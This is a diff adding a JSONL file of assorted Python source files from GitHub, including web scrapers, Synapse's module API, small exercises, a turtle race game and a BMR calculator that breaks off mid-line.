diff --git "a/1286.jsonl" "b/1286.jsonl" new file mode 100644--- /dev/null +++ "b/1286.jsonl" @@ -0,0 +1,1686 @@ +{"seq_id":"74767893481","text":"import func.all_func as func\r\n\r\nlogger = func.logger_init('HUSA')\r\n\r\ndef get_value():\r\n logger.info(\"START\")\r\n url = \"http://www.potrefena-husa.eu/\"\r\n html = func.get_html_obj(url)\r\n \"\"\"\r\n pasre html objektu a vrácení potřebných hodnot\r\n :param html: ovstupní objekt html class html\r\n :return: vrací pole\r\n \"\"\"\r\n food = html.xpath(\"//div[@class='foodbox denninabidka']/h4/text()\")\r\n desc = html.xpath(\"//div[@class='foodbox denninabidka']/p/text()\")\r\n price = html.xpath(\"//div[@class='foodbox denninabidka']/span[@class='price']/text()\")\r\n\r\n #spijíme jídlo s popisem\r\n food_final = func.merge_values(food, desc)\r\n #spojíme jídla s cenou\r\n final = func.assigne_price(food_final, price)\r\n logger.info(\"END\")\r\n return final","repo_name":"MartinPechar/Daily-menu","sub_path":"App/script/husa.py","file_name":"husa.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10895417735","text":"import requests\nfrom bs4 import BeautifulSoup\nimport mysql.connector\nfrom unidecode import unidecode\n\n# You should change this based on your config\ncnx = mysql.connector.connect(user='root', password='',\n host='127.0.0.1',\n database='learn')\n\ncursor = cnx.cursor()\n\nresponse = requests.get('https://divar.ir/')\nsoup = BeautifulSoup(response.text, 'html.parser')\n\nfor wrapper in soup.find_all('div', {'class': 'city-group__header'}):\n if wrapper.text == 'همه‌ی شهرها':\n print('22222')\n x = wrapper.find_next('div')\n # print(x)\n # s = BeautifulSoup(x.text, 'html.parser')\n # print(soup)\n all_cities = x.find_all('a', {'class': 'ui button'})\n # print(all_cities)\n for cityIndex, city in enumerate(all_cities, start=1):\n city_link = ('https://divar.ir' +\n city.get('href') + '/buy-apartment')\n res = requests.get(city_link)\n soup = BeautifulSoup(res.text, 'html.parser')\n all_apartments = soup.find_all('a', {'class': 'post-card'})\n\n if city_link != 'https://divar.ir/s/tehran/buy-apartment':\n for apartment in all_apartments:\n apartment_link = ('https://divar.ir' +\n apartment.get('href'))\n response = requests.get(apartment_link)\n soup = BeautifulSoup(response.text, 'html.parser')\n div = soup.find_all(\n 'span', {'class': 'post-fields-item__title'})\n link = apartment_link.split('/')[-1]\n cursor.execute(\n 'SELECT count(*) FROM apartment where link = \"%s\"' % (link))\n repeated = cursor.fetchone()\n if repeated[0] == 0:\n # print(link)\n for element in div:\n if element.text == 'متراژ':\n size = element.find_next('div').text\n index = size.find('م')\n size = size[:index]\n size = unidecode(size)\n size = size.replace('.', '')\n if element.text == 'سال ساخت':\n date = element.find_next('div').text\n date = unidecode(date)\n if date == 'qbl z 1370':\n date = '1370'\n if element.text == 'قیمت کل':\n price = element.find_next('div').text\n index = price.find('ت')\n price = price[:index]\n price = unidecode(price)\n price = price.replace('.', '')\n if price != '':\n cursor.execute('INSERT INTO apartment (region, size, date, price, link) VALUES (\"%s\", \"%s\", \"%s\", \"%s\", \"%s\")' %\n (cityIndex, size, date, price, link))\n cnx.commit()\n\n else:\n print('duplicated: ' + link)\n","repo_name":"takrami/predicting-apartment-prices","sub_path":"src/scrap.py","file_name":"scrap.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5041800100","text":"\"\"\"\n1.2 mid\nNapisz funkcję, która zwróci z napisu środkowy znak lub pusty napis, jeśli nie ma środkowego\nznaku:\nassert \"b\" == mid(\"abc\")\nassert \"\" == mid(\"abbc\")\n\"\"\"\n\n\ndef mid(tekst):\n tekst2 = tekst.replace(\" \", \"\")\n x = len(tekst2)\n print(tekst2)\n\n if x % 2 == 0:\n print(\"Parzysta liczba liter - brak środkowego znaku!\")\n return print(\"\")\n\n else:\n print(\"Nieparzysta liczba - mozna wyznaczyc znak srodkowy\")\n znak_mid = ((x - 1) / 2) + 1\n y = int(znak_mid)\n z = tekst2[y - 1]\n return print(z)\n #f\"Znakiem srodkowym podanego tekstu jest: {tekst2[y - 1]}\"\n\n\nmid('aabaa')\nmid('asj dsk fdas lfh')\n","repo_name":"Morgnar/zadanie_domowe_25-25.06.2022","sub_path":"zadanie_domowe/mid.py","file_name":"mid.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12435719629","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nurlpatterns = patterns('',\n url(r'^admin/', include(admin.site.urls)),\n\n url(r'^$', include('game_platform.game.urls')),\n url(r'^game/', include('game_platform.game.urls')),\n url(r'^pay/', include('game_platform.payment.urls')),\n url(r'^auth/', include('game_platform.auth.urls')),\n url(r'^dev/', include('game_platform.developer.urls')),\n)\n","repo_name":"navidkhorshid/WebDevelopmentCourse_AaltoUni_2014","sub_path":"project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36579074961","text":"from datetime import date\n\n\nclass Offer:\n def __init__(self,\n offer_id: id,\n price: float,\n status: str,\n negotiable: bool,\n description: str,\n agency_fee: float,\n creation_date: date,\n modification_date: date,\n apartment_id: id\n ):\n self.offer_id = offer_id\n self.price = price\n self.status = status\n self.negotiable = negotiable\n self.description = description\n self.agency_fee = agency_fee\n self.creation_date = creation_date\n self.modification_date = modification_date\n self.apartment_id = apartment_id\n\n\nclass Apartment:\n def __init__(self, apartment_id: id, area: float, creation_year: int, last_renovation_year: int,\n building_type: str, heating_type: str, is_furnished: bool, rooms_count: int,\n owner_id: id,\n address_id: id):\n self.apartment_id = apartment_id\n self.area = area\n self.creation_year = creation_year\n self.last_renovation_year = last_renovation_year\n self.building_type = building_type\n self.heating_type = heating_type\n self.is_furnished = is_furnished\n self.rooms_count = rooms_count\n self.address_id = address_id\n self.owner_id = owner_id\n\n\nclass Owner:\n def __init__(self, owner_id: id, name: str, surname: str, phone_number: str, email_address: str,\n company_name: str, address_id: int):\n self.owner_id = owner_id\n self.name = name\n self.surname = surname\n self.phone_number = phone_number\n self.email_address = email_address\n self.company_name = company_name\n self.address_id = address_id\n\n\nclass Address:\n def __init__(self, address_id: id, city: str, street_name: str, building_nr: str, apartment_nr: str,\n postal_code: str):\n self.address_id = address_id\n self.city = city\n self.street_name = street_name\n self.building_nr = building_nr\n self.apartment_nr = apartment_nr\n self.postal_code = postal_code\n\n\n","repo_name":"karolina-kuna/PK_ZTBD_PROJ_1","sub_path":"implementation/market_app/models/postgres_models.py","file_name":"postgres_models.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34418830203","text":"import email.utils\nimport logging\nfrom typing import (\n TYPE_CHECKING,\n Any,\n Callable,\n Dict,\n Generator,\n Iterable,\n List,\n Optional,\n Tuple,\n)\n\nimport jinja2\n\nfrom twisted.internet import defer\nfrom twisted.web.resource import IResource\n\nfrom synapse.events import EventBase\nfrom synapse.events.presence_router import PresenceRouter\nfrom synapse.http.client import SimpleHttpClient\nfrom synapse.http.server import (\n DirectServeHtmlResource,\n DirectServeJsonResource,\n respond_with_html,\n)\nfrom synapse.http.servlet import parse_json_object_from_request\nfrom synapse.http.site import SynapseRequest\nfrom synapse.logging.context import make_deferred_yieldable, run_in_background\nfrom synapse.metrics.background_process_metrics import run_as_background_process\nfrom synapse.storage.database import DatabasePool, LoggingTransaction\nfrom synapse.storage.databases.main.roommember import ProfileInfo\nfrom synapse.storage.state import StateFilter\nfrom synapse.types import JsonDict, Requester, UserID, UserInfo, create_requester\nfrom synapse.util import Clock\nfrom synapse.util.caches.descriptors import cached\n\nif TYPE_CHECKING:\n from synapse.server import HomeServer\n\n\"\"\"\nThis package defines the 'stable' API which can be used by extension modules which\nare loaded into Synapse.\n\"\"\"\n\nPRESENCE_ALL_USERS = PresenceRouter.ALL_USERS\n\n__all__ = [\n \"errors\",\n \"make_deferred_yieldable\",\n \"parse_json_object_from_request\",\n \"respond_with_html\",\n \"run_in_background\",\n \"cached\",\n \"UserID\",\n \"DatabasePool\",\n \"LoggingTransaction\",\n \"DirectServeHtmlResource\",\n \"DirectServeJsonResource\",\n \"ModuleApi\",\n \"PRESENCE_ALL_USERS\",\n]\n\nlogger = logging.getLogger(__name__)\n\n\nclass ModuleApi:\n \"\"\"A proxy object that gets passed to various plugin modules so they\n can register new users etc if necessary.\n \"\"\"\n\n def __init__(self, hs: \"HomeServer\", auth_handler):\n self._hs = hs\n\n self._store = hs.get_datastore()\n self._auth = hs.get_auth()\n self._auth_handler = auth_handler\n self._server_name = hs.hostname\n self._presence_stream = hs.get_event_sources().sources[\"presence\"]\n self._state = hs.get_state_handler()\n self._clock: Clock = hs.get_clock()\n self._send_email_handler = hs.get_send_email_handler()\n self.custom_template_dir = hs.config.server.custom_template_directory\n\n try:\n app_name = self._hs.config.email_app_name\n\n self._from_string = self._hs.config.email_notif_from % {\"app\": app_name}\n except (KeyError, TypeError):\n # If substitution failed (which can happen if the string contains\n # placeholders other than just \"app\", or if the type of the placeholder is\n # not a string), fall back to the bare strings.\n self._from_string = self._hs.config.email_notif_from\n\n self._raw_from = email.utils.parseaddr(self._from_string)[1]\n\n # We expose these as properties below in order to attach a helpful docstring.\n self._http_client: SimpleHttpClient = hs.get_simple_http_client()\n self._public_room_list_manager = PublicRoomListManager(hs)\n\n self._spam_checker = hs.get_spam_checker()\n self._account_validity_handler = hs.get_account_validity_handler()\n self._third_party_event_rules = hs.get_third_party_event_rules()\n self._presence_router = hs.get_presence_router()\n\n #################################################################################\n # The following methods should only be called during the module's initialisation.\n\n @property\n def register_spam_checker_callbacks(self):\n \"\"\"Registers callbacks for spam checking capabilities.\"\"\"\n return self._spam_checker.register_callbacks\n\n @property\n def register_account_validity_callbacks(self):\n \"\"\"Registers callbacks for account validity capabilities.\"\"\"\n return self._account_validity_handler.register_account_validity_callbacks\n\n @property\n def register_third_party_rules_callbacks(self):\n \"\"\"Registers callbacks for third party event rules capabilities.\"\"\"\n return self._third_party_event_rules.register_third_party_rules_callbacks\n\n @property\n def register_presence_router_callbacks(self):\n \"\"\"Registers callbacks for presence router capabilities.\"\"\"\n return self._presence_router.register_presence_router_callbacks\n\n def register_web_resource(self, path: str, resource: IResource):\n \"\"\"Registers a web resource to be served at the given path.\n\n This function should be called during initialisation of the module.\n\n If multiple modules register a resource for the same path, the module that\n appears the highest in the configuration file takes priority.\n\n Args:\n path: The path to register the resource for.\n resource: The resource to attach to this path.\n \"\"\"\n self._hs.register_module_web_resource(path, resource)\n\n #########################################################################\n # The following methods can be called by the module at any point in time.\n\n @property\n def http_client(self):\n \"\"\"Allows making outbound HTTP requests to remote resources.\n\n An instance of synapse.http.client.SimpleHttpClient\n \"\"\"\n return self._http_client\n\n @property\n def public_room_list_manager(self):\n \"\"\"Allows adding to, removing from and checking the status of rooms in the\n public room list.\n\n An instance of synapse.module_api.PublicRoomListManager\n \"\"\"\n return self._public_room_list_manager\n\n @property\n def public_baseurl(self) -> str:\n \"\"\"The configured public base URL for this homeserver.\"\"\"\n return self._hs.config.public_baseurl\n\n @property\n def email_app_name(self) -> str:\n \"\"\"The application name configured in the homeserver's configuration.\"\"\"\n return self._hs.config.email.email_app_name\n\n async def get_userinfo_by_id(self, user_id: str) -> Optional[UserInfo]:\n \"\"\"Get user info by user_id\n\n Args:\n user_id: Fully qualified user id.\n Returns:\n UserInfo object if a user was found, otherwise None\n \"\"\"\n return await self._store.get_userinfo_by_id(user_id)\n\n async def get_user_by_req(\n self,\n req: SynapseRequest,\n allow_guest: bool = False,\n allow_expired: bool = False,\n ) -> Requester:\n \"\"\"Check the access_token provided for a request\n\n Args:\n req: Incoming HTTP request\n allow_guest: True if guest users should be allowed. If this\n is False, and the access token is for a guest user, an\n AuthError will be thrown\n allow_expired: True if expired users should be allowed. If this\n is False, and the access token is for an expired user, an\n AuthError will be thrown\n\n Returns:\n The requester for this request\n\n Raises:\n InvalidClientCredentialsError: if no user by that token exists,\n or the token is invalid.\n \"\"\"\n return await self._auth.get_user_by_req(\n req,\n allow_guest,\n allow_expired=allow_expired,\n )\n\n async def is_user_admin(self, user_id: str) -> bool:\n \"\"\"Checks if a user is a server admin.\n\n Args:\n user_id: The Matrix ID of the user to check.\n\n Returns:\n True if the user is a server admin, False otherwise.\n \"\"\"\n return await self._store.is_server_admin(UserID.from_string(user_id))\n\n def get_qualified_user_id(self, username):\n \"\"\"Qualify a user id, if necessary\n\n Takes a user id provided by the user and adds the @ and :domain to\n qualify it, if necessary\n\n Args:\n username (str): provided user id\n\n Returns:\n str: qualified @user:id\n \"\"\"\n if username.startswith(\"@\"):\n return username\n return UserID(username, self._hs.hostname).to_string()\n\n async def get_profile_for_user(self, localpart: str) -> ProfileInfo:\n \"\"\"Look up the profile info for the user with the given localpart.\n\n Args:\n localpart: The localpart to look up profile information for.\n\n Returns:\n The profile information (i.e. display name and avatar URL).\n \"\"\"\n return await self._store.get_profileinfo(localpart)\n\n async def get_threepids_for_user(self, user_id: str) -> List[Dict[str, str]]:\n \"\"\"Look up the threepids (email addresses and phone numbers) associated with the\n given Matrix user ID.\n\n Args:\n user_id: The Matrix user ID to look up threepids for.\n\n Returns:\n A list of threepids, each threepid being represented by a dictionary\n containing a \"medium\" key which value is \"email\" for email addresses and\n \"msisdn\" for phone numbers, and an \"address\" key which value is the\n threepid's address.\n \"\"\"\n return await self._store.user_get_threepids(user_id)\n\n def check_user_exists(self, user_id):\n \"\"\"Check if user exists.\n\n Args:\n user_id (str): Complete @user:id\n\n Returns:\n Deferred[str|None]: Canonical (case-corrected) user_id, or None\n if the user is not registered.\n \"\"\"\n return defer.ensureDeferred(self._auth_handler.check_user_exists(user_id))\n\n @defer.inlineCallbacks\n def register(self, localpart, displayname=None, emails: Optional[List[str]] = None):\n \"\"\"Registers a new user with given localpart and optional displayname, emails.\n\n Also returns an access token for the new user.\n\n Deprecated: avoid this, as it generates a new device with no way to\n return that device to the user. Prefer separate calls to register_user and\n register_device.\n\n Args:\n localpart (str): The localpart of the new user.\n displayname (str|None): The displayname of the new user.\n emails (List[str]): Emails to bind to the new user.\n\n Returns:\n Deferred[tuple[str, str]]: a 2-tuple of (user_id, access_token)\n \"\"\"\n logger.warning(\n \"Using deprecated ModuleApi.register which creates a dummy user device.\"\n )\n user_id = yield self.register_user(localpart, displayname, emails or [])\n _, access_token, _, _ = yield self.register_device(user_id)\n return user_id, access_token\n\n def register_user(\n self, localpart, displayname=None, emails: Optional[List[str]] = None\n ):\n \"\"\"Registers a new user with given localpart and optional displayname, emails.\n\n Args:\n localpart (str): The localpart of the new user.\n displayname (str|None): The displayname of the new user.\n emails (List[str]): Emails to bind to the new user.\n\n Raises:\n SynapseError if there is an error performing the registration. Check the\n 'errcode' property for more information on the reason for failure\n\n Returns:\n defer.Deferred[str]: user_id\n \"\"\"\n return defer.ensureDeferred(\n self._hs.get_registration_handler().register_user(\n localpart=localpart,\n default_display_name=displayname,\n bind_emails=emails or [],\n )\n )\n\n def register_device(self, user_id, device_id=None, initial_display_name=None):\n \"\"\"Register a device for a user and generate an access token.\n\n Args:\n user_id (str): full canonical @user:id\n device_id (str|None): The device ID to check, or None to generate\n a new one.\n initial_display_name (str|None): An optional display name for the\n device.\n\n Returns:\n defer.Deferred[tuple[str, str]]: Tuple of device ID and access token\n \"\"\"\n return defer.ensureDeferred(\n self._hs.get_registration_handler().register_device(\n user_id=user_id,\n device_id=device_id,\n initial_display_name=initial_display_name,\n )\n )\n\n def record_user_external_id(\n self, auth_provider_id: str, remote_user_id: str, registered_user_id: str\n ) -> defer.Deferred:\n \"\"\"Record a mapping from an external user id to a mxid\n\n Args:\n auth_provider: identifier for the remote auth provider\n external_id: id on that system\n user_id: complete mxid that it is mapped to\n \"\"\"\n return defer.ensureDeferred(\n self._store.record_user_external_id(\n auth_provider_id, remote_user_id, registered_user_id\n )\n )\n\n def generate_short_term_login_token(\n self,\n user_id: str,\n duration_in_ms: int = (2 * 60 * 1000),\n auth_provider_id: str = \"\",\n ) -> str:\n \"\"\"Generate a login token suitable for m.login.token authentication\n\n Args:\n user_id: gives the ID of the user that the token is for\n\n duration_in_ms: the time that the token will be valid for\n\n auth_provider_id: the ID of the SSO IdP that the user used to authenticate\n to get this token, if any. This is encoded in the token so that\n /login can report stats on number of successful logins by IdP.\n \"\"\"\n return self._hs.get_macaroon_generator().generate_short_term_login_token(\n user_id,\n auth_provider_id,\n duration_in_ms,\n )\n\n @defer.inlineCallbacks\n def invalidate_access_token(self, access_token):\n \"\"\"Invalidate an access token for a user\n\n Args:\n access_token(str): access token\n\n Returns:\n twisted.internet.defer.Deferred - resolves once the access token\n has been removed.\n\n Raises:\n synapse.api.errors.AuthError: the access token is invalid\n \"\"\"\n # see if the access token corresponds to a device\n user_info = yield defer.ensureDeferred(\n self._auth.get_user_by_access_token(access_token)\n )\n device_id = user_info.get(\"device_id\")\n user_id = user_info[\"user\"].to_string()\n if device_id:\n # delete the device, which will also delete its access tokens\n yield defer.ensureDeferred(\n self._hs.get_device_handler().delete_device(user_id, device_id)\n )\n else:\n # no associated device. Just delete the access token.\n yield defer.ensureDeferred(\n self._auth_handler.delete_access_token(access_token)\n )\n\n def run_db_interaction(self, desc, func, *args, **kwargs):\n \"\"\"Run a function with a database connection\n\n Args:\n desc (str): description for the transaction, for metrics etc\n func (func): function to be run. Passed a database cursor object\n as well as *args and **kwargs\n *args: positional args to be passed to func\n **kwargs: named args to be passed to func\n\n Returns:\n Deferred[object]: result of func\n \"\"\"\n return defer.ensureDeferred(\n self._store.db_pool.runInteraction(desc, func, *args, **kwargs)\n )\n\n def complete_sso_login(\n self, registered_user_id: str, request: SynapseRequest, client_redirect_url: str\n ):\n \"\"\"Complete a SSO login by redirecting the user to a page to confirm whether they\n want their access token sent to `client_redirect_url`, or redirect them to that\n URL with a token directly if the URL matches with one of the whitelisted clients.\n\n This is deprecated in favor of complete_sso_login_async.\n\n Args:\n registered_user_id: The MXID that has been registered as a previous step of\n of this SSO login.\n request: The request to respond to.\n client_redirect_url: The URL to which to offer to redirect the user (or to\n redirect them directly if whitelisted).\n \"\"\"\n self._auth_handler._complete_sso_login(\n registered_user_id,\n \"\",\n request,\n client_redirect_url,\n )\n\n async def complete_sso_login_async(\n self,\n registered_user_id: str,\n request: SynapseRequest,\n client_redirect_url: str,\n new_user: bool = False,\n auth_provider_id: str = \"\",\n ):\n \"\"\"Complete a SSO login by redirecting the user to a page to confirm whether they\n want their access token sent to `client_redirect_url`, or redirect them to that\n URL with a token directly if the URL matches with one of the whitelisted clients.\n\n Args:\n registered_user_id: The MXID that has been registered as a previous step of\n of this SSO login.\n request: The request to respond to.\n client_redirect_url: The URL to which to offer to redirect the user (or to\n redirect them directly if whitelisted).\n new_user: set to true to use wording for the consent appropriate to a user\n who has just registered.\n auth_provider_id: the ID of the SSO IdP which was used to log in. This\n is used to track counts of sucessful logins by IdP.\n \"\"\"\n await self._auth_handler.complete_sso_login(\n registered_user_id,\n auth_provider_id,\n request,\n client_redirect_url,\n new_user=new_user,\n )\n\n @defer.inlineCallbacks\n def get_state_events_in_room(\n self, room_id: str, types: Iterable[Tuple[str, Optional[str]]]\n ) -> Generator[defer.Deferred, Any, Iterable[EventBase]]:\n \"\"\"Gets current state events for the given room.\n\n (This is exposed for compatibility with the old SpamCheckerApi. We should\n probably deprecate it and replace it with an async method in a subclass.)\n\n Args:\n room_id: The room ID to get state events in.\n types: The event type and state key (using None\n to represent 'any') of the room state to acquire.\n\n Returns:\n twisted.internet.defer.Deferred[list(synapse.events.FrozenEvent)]:\n The filtered state events in the room.\n \"\"\"\n state_ids = yield defer.ensureDeferred(\n self._store.get_filtered_current_state_ids(\n room_id=room_id, state_filter=StateFilter.from_types(types)\n )\n )\n state = yield defer.ensureDeferred(self._store.get_events(state_ids.values()))\n return state.values()\n\n async def create_and_send_event_into_room(self, event_dict: JsonDict) -> EventBase:\n \"\"\"Create and send an event into a room. Membership events are currently not supported.\n\n Args:\n event_dict: A dictionary representing the event to send.\n Required keys are `type`, `room_id`, `sender` and `content`.\n\n Returns:\n The event that was sent. If state event deduplication happened, then\n the previous, duplicate event instead.\n\n Raises:\n SynapseError if the event was not allowed.\n \"\"\"\n # Create a requester object\n requester = create_requester(\n event_dict[\"sender\"], authenticated_entity=self._server_name\n )\n\n # Create and send the event\n (\n event,\n _,\n ) = await self._hs.get_event_creation_handler().create_and_send_nonmember_event(\n requester,\n event_dict,\n ratelimit=False,\n ignore_shadow_ban=True,\n )\n\n return event\n\n async def send_local_online_presence_to(self, users: Iterable[str]) -> None:\n \"\"\"\n Forces the equivalent of a presence initial_sync for a set of local or remote\n users. The users will receive presence for all currently online users that they\n are considered interested in.\n\n Updates to remote users will be sent immediately, whereas local users will receive\n them on their next sync attempt.\n\n Note that this method can only be run on the process that is configured to write to the\n presence stream. By default this is the main process.\n \"\"\"\n if self._hs._instance_name not in self._hs.config.worker.writers.presence:\n raise Exception(\n \"send_local_online_presence_to can only be run \"\n \"on the process that is configured to write to the \"\n \"presence stream (by default this is the main process)\",\n )\n\n local_users = set()\n remote_users = set()\n for user in users:\n if self._hs.is_mine_id(user):\n local_users.add(user)\n else:\n remote_users.add(user)\n\n # We pull out the presence handler here to break a cyclic\n # dependency between the presence router and module API.\n presence_handler = self._hs.get_presence_handler()\n\n if local_users:\n # Force a presence initial_sync for these users next time they sync.\n await presence_handler.send_full_presence_to_users(local_users)\n\n for user in remote_users:\n # Retrieve presence state for currently online users that this user\n # is considered interested in.\n presence_events, _ = await self._presence_stream.get_new_events(\n UserID.from_string(user), from_key=None, include_offline=False\n )\n\n # Send to remote destinations.\n destination = UserID.from_string(user).domain\n presence_handler.get_federation_queue().send_presence_to_destinations(\n presence_events, destination\n )\n\n def looping_background_call(\n self,\n f: Callable,\n msec: float,\n *args,\n desc: Optional[str] = None,\n run_on_all_instances: bool = False,\n **kwargs,\n ):\n \"\"\"Wraps a function as a background process and calls it repeatedly.\n\n NOTE: Will only run on the instance that is configured to run\n background processes (which is the main process by default), unless\n `run_on_all_workers` is set.\n\n Waits `msec` initially before calling `f` for the first time.\n\n Args:\n f: The function to call repeatedly. f can be either synchronous or\n asynchronous, and must follow Synapse's logcontext rules.\n More info about logcontexts is available at\n https://matrix-org.github.io/synapse/latest/log_contexts.html\n msec: How long to wait between calls in milliseconds.\n *args: Positional arguments to pass to function.\n desc: The background task's description. Default to the function's name.\n run_on_all_instances: Whether to run this on all instances, rather\n than just the instance configured to run background tasks.\n **kwargs: Key arguments to pass to function.\n \"\"\"\n if desc is None:\n desc = f.__name__\n\n if self._hs.config.run_background_tasks or run_on_all_instances:\n self._clock.looping_call(\n run_as_background_process,\n msec,\n desc,\n f,\n *args,\n **kwargs,\n )\n else:\n logger.warning(\n \"Not running looping call %s as the configuration forbids it\",\n f,\n )\n\n async def send_mail(\n self,\n recipient: str,\n subject: str,\n html: str,\n text: str,\n ):\n \"\"\"Send an email on behalf of the homeserver.\n\n Args:\n recipient: The email address for the recipient.\n subject: The email's subject.\n html: The email's HTML content.\n text: The email's text content.\n \"\"\"\n await self._send_email_handler.send_email(\n email_address=recipient,\n subject=subject,\n app_name=self.email_app_name,\n html=html,\n text=text,\n )\n\n def read_templates(\n self,\n filenames: List[str],\n custom_template_directory: Optional[str] = None,\n ) -> List[jinja2.Template]:\n \"\"\"Read and load the content of the template files at the given location.\n By default, Synapse will look for these templates in its configured template\n directory, but another directory to search in can be provided.\n\n Args:\n filenames: The name of the template files to look for.\n custom_template_directory: An additional directory to look for the files in.\n\n Returns:\n A list containing the loaded templates, with the orders matching the one of\n the filenames parameter.\n \"\"\"\n return self._hs.config.read_templates(\n filenames,\n (td for td in (self.custom_template_dir, custom_template_directory) if td),\n )\n\n\nclass PublicRoomListManager:\n \"\"\"Contains methods for adding to, removing from and querying whether a room\n is in the public room list.\n \"\"\"\n\n def __init__(self, hs: \"HomeServer\"):\n self._store = hs.get_datastore()\n\n async def room_is_in_public_room_list(self, room_id: str) -> bool:\n \"\"\"Checks whether a room is in the public room list.\n\n Args:\n room_id: The ID of the room.\n\n Returns:\n Whether the room is in the public room list. Returns False if the room does\n not exist.\n \"\"\"\n room = await self._store.get_room(room_id)\n if not room:\n return False\n\n return room.get(\"is_public\", False)\n\n async def add_room_to_public_room_list(self, room_id: str) -> None:\n \"\"\"Publishes a room to the public room list.\n\n Args:\n room_id: The ID of the room.\n \"\"\"\n await self._store.set_room_is_public(room_id, True)\n\n async def remove_room_from_public_room_list(self, room_id: str) -> None:\n \"\"\"Removes a room from the public room list.\n\n Args:\n room_id: The ID of the room.\n \"\"\"\n await self._store.set_room_is_public(room_id, False)\n","repo_name":"easy-matrix/synapse","sub_path":"synapse/module_api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":26609,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"15421592730","text":"from turtle import Turtle, Screen\nimport random\n\nscreen = Screen()\nscreen.setup(500, 450)\nscreen.bgcolor(\"black\")\n\nt_colors = [\"red\", \"yellow\", \"blue\", \"white\", \"green\"]\ny_cords = [-60, -20, 20, 60, 100]\nall_turtles = []\n\nfor index in range(5):\n pen = Turtle()\n pen.speed(\"slowest\")\n pen.shape(\"turtle\")\n pen.up()\n pen.color(t_colors[index])\n pen.goto(-225, y_cords[index])\n all_turtles.append(pen)\n\nways_to_move = random.randint(1, 10)\n\nuser_bet = int(screen.textinput(\"Make your bet.\", \"Bet: \"))\n\nwhile not user_bet:\n user_bet = int(screen.textinput(\"No bet entered\", \"Bet: \"))\n\nuser_turtle = screen.textinput(\"Pick your turtle.\", \"Turtle color: \").lower()\n\nwhile user_turtle not in t_colors:\n user_turtle = screen.textinput(\"Turtle not found.\", \"Turtle color: \").lower()\n\nrace_on = True\n\nwhile race_on:\n for turtle in all_turtles:\n\n if turtle.xcor() > 240:\n\n if user_turtle == turtle.pencolor():\n print(f\"{turtle.pencolor().title()} turtle wins!\\nYou win {user_bet * 2}$!\")\n race_on = False\n \n else:\n print(f\"{turtle.pencolor().title()} turtle wins!\\nYou lose {user_bet}$!\")\n race_on = False\n\n r_distance = random.randint(1, 10)\n turtle.forward(r_distance)\n \n\n\n \n\nscreen.exitonclick()\n\n","repo_name":"artem-hamuha/Computer-Science","sub_path":"Complete_Python_Pro_Bootcamp/Day19/Day19_project.py","file_name":"Day19_project.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3339651409","text":"class MyRangeIterator:\n def __init__(self, top):\n self.top = top\n self.current = 0\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.current >= self.top:\n raise StopIteration\n current = self.current\n self.current += 1\n return current\n\n\nif __name__ == '__main__':\n counter = MyRangeIterator(3)\n print(counter)\n for it in counter:\n print(it)\n\"\"\"\n<__main__.MyRangeIterator object at 0x10d4cf208>\n0\n1\n2\n\"\"\"\n","repo_name":"Searge/DiveinPython","sub_path":"w_5/playground/iterator_.py","file_name":"iterator_.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"8412574463","text":"import pandas as pd\r\nimport PySimpleGUI as sg\r\n\r\nimport PySimpleGUI as sg\r\n\r\nsg.theme('DarkAmber') # Add a touch of color\r\n# All the stuff inside your window.\r\nEXCEL_FILE = 'BMR_data.xlsx'\r\ndf = pd.read_excel(EXCEL_FILE)\r\n\r\nlayout = [\r\n [sg.Text('Please fill out the following fields:')],\r\n [sg.Text('Name', size=(15,1)), sg.InputText(key='Name')],\r\n [sg.Text('Lenght (in cm) ', size=(15,1)), sg.Spin([i for i in range(120,240)],\r\n initial_value=0, key='Lenght')],\r\n [sg.Text('Weight (in Kg) ', size=(15,1)), sg.Spin([i for i in range(35,300)],\r\n initial_value=0, key='Weight')],\r\n [sg.Text('Age ', size=(15,1)), sg.Spin([i for i in range(18,100)],\r\n initial_value=0, key='Age')],\r\n [sg.Text('Sex', size=(15,1)), sg.Combo(['Male', 'Female'], key='Sex')],\r\n [sg.Text('Body Shape', size=(15,1)), sg.Combo(['Normal', 'Muscle', 'Round'], key='Shape')],\r\n [sg.Text('Physical activity level ', size=(15,1)), sg.Combo(['Sedentary', 'Moderate', 'Active', 'Professional'], key='Pal')],\r\n\r\n [sg.Submit(), sg.Button('Clear'), sg.Exit()]\r\n]\r\n\r\ndef clear_input():\r\n for key in values:\r\n window[key]('')\r\n return None\r\n# Create the Window\r\nwindow = sg.Window('BMI and DEE calculator', layout)\r\nwhile True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Exit': # if user closes window or clicks Exit\r\n break\r\n if event == 'Clear':\r\n clear_input()\r\n\r\n if event == 'Submit':\r\n new_record = pd.DataFrame(values, index=[0])\r\n new_record['BMI'] = new_record['Weight']/((new_record['Lenght']/100)*(new_record['Lenght']/100))\r\n new_record.loc[new_record['Sex'] == \"Male\", 'BMR' ] = [66.5 + (new_record['Weight'] * 13.75) + (new_record['Lenght'] * 5.003) - (\r\n 6.755 * new_record['Age'])]\r\n new_record.loc[new_record['Sex'] == \"Female\", 'BMR'] = [655.1 + (new_record['Weight'] * 9.563) + (new_record['Lenght'] * 1.850) - (\r\n 4.676 * new_record['Age']) for x in new_record['Sex']]\r\n new_record.loc[new_record['Shape'] == 